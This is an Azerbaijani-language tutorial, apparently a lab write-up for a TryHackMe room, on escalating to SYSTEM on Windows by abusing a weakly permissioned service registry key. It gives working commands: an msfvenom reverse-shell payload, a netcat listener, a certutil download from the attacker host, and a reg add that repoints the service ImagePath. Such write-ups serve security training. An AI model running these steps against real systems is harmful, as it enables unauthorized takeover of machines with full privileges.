Windows mühitində işləyərkən Zəif Registr İcazələri Exploit Edilməsi necə həyata keçirilir?Windows-da Zəif Registr İcazələri ilə PrivEsc necə həyata keçirilir?Zəif Registr İcazələri Exploit Edilməsi ilə PrivEsc nədir? Servislərin Exploit Edilməsi nədir? (Weak Registry Permissions)

Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official

Zəif Registr İcazələrinin Exploit Edilməsi

Bir çox hallarda servis keyfiyyətli dərəcədə təhlükəsizliyi təmin olunur və bizim onun konfiqurasiyasını dəyişməyə icazəmiz olmur.Belə məsələlərdə çıxış nöqtəsi Windows ƏS üzərində registr yazılarını nəzərdən keçirmək lazımdır.Windows ƏS registri – əməliyyat sisteminin (servis və tətbiqlərin) konfiqurasiyasının verilənlər bazasıdır.Zəif Registr icazələrini exploit etmək üçün servisin registr yazısının düzgün edilməmiş icazələrini axtarırıq.

Zəifliyi olan servisi təyin etmək üçün avtomatlaşdırılmış skript olan WinPEAS-dan istifadə edirik.(Skript barədə ətraflı gələcək paylaşımda görəcəyik) Skript bizə aşağıda göstərilən registr yazısının exploit üçün yararlı olduğunu təyin edir.

 HKLM\SYSTEM\CurrentControlSet\services\regsvc

Daha sonra powershell aləti ilə bizim hədəf üzərində icazələrimizi təyin edirik.

PS C:\Users\user> Get-Acl -Path hklm:\System\CurrentCont
rolSet\services\regsvc | fl


Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentC
         ontrolSet\services\regsvc
Owner  : BUILTIN\Administrators
Group  : NT AUTHORITY\SYSTEM
Access : Everyone Allow  ReadKey
         NT AUTHORITY\INTERACTIVE Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
Audit  :
Sddl   : O:BAG:SYD:P(A;CI;KR;;;WD)(A;CI;KA;;;IU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)

NT AUTHORITY\INTERACTIVE qrupu hədəf üzərində oxuma və yazma hüquqların sahibdir.Yəni FullControl-dur.Bu qrupa isə kompüterə daxil olmuş bütün istifadəçilər aiddir.(WinPEAS məhz buna görə exploit edilmə mümkünlüyünü göstərmişdir.

İcazələrimiz var və registr üzərində müvafiq yolu dəyişməyə çalışaq.

C:\Users\user\Desktop\Tools\Accesschk>reg query "HKLM\SYSTEM\CurrentControlSet\S
ervices\regsvc"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\regsvc
    Type    REG_DWORD    0x10
    Start    REG_DWORD    0x3
    ErrorControl    REG_DWORD    0x1
    ImagePath    REG_EXPAND_SZ    "C:\Program Files\Insecure Registry Service\in
secureregistryservice.exe"
    DisplayName    REG_SZ    Insecure Registry Service
    ObjectName    REG_SZ    LocalSystem

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\regsvc\Security

Cari vəziyyətdə hədəf servisin yolunu zərərli exe faylımıza dəyişək və reverse shell əldə edək.Bunun üçün MSFvenom ilə exe faylı generasiya edəcəyik.

KALİDƏ ----
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.3.67 LPORT=4444 -f exe -o /root/Desktop/shell.exe

┌──(root㉿kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...

shell.exe faylını Windows cihaza ötürdük və C:\Users\user\Desktop\shell.exe yoluna yerləşdirdik.İndi isə registr yolunu yenidən təyin edirik və servisi başladırıq.

C:\Users\user\Desktop>certutil.exe -f -split -urlcache http://10.9.3.67/shell.ex
e
****  Online  ****
  0000  ...
  1c00
CertUtil: -URLCache command completed successfully.

C:\Users\user\Desktop>reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v I
magePath /t REG_EXPAND_SZ /d c:\Users\user\Desktop\shell.exe /f
The operation completed successfully.

C:\Users\user\Desktop>sc start regsvc

KALİDƏ-------------------------------------------

┌──(root㉿kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.9.3.67] from (UNKNOWN) [10.10.108.44] 49242
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Gördüyümüz kimi biz hədəfdə olan zəif registr icazələrini exploit edərək System səlahiyyəti ilə shell əldə etdik.

Tapşırıqda istifadə olunan lab: https://tryhackme.com/room/windowsprivescarena 5-ci Task

Ümidvaram faydalı olmuşdur.Təşəkkürlər!

Bizi izləyin:

Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat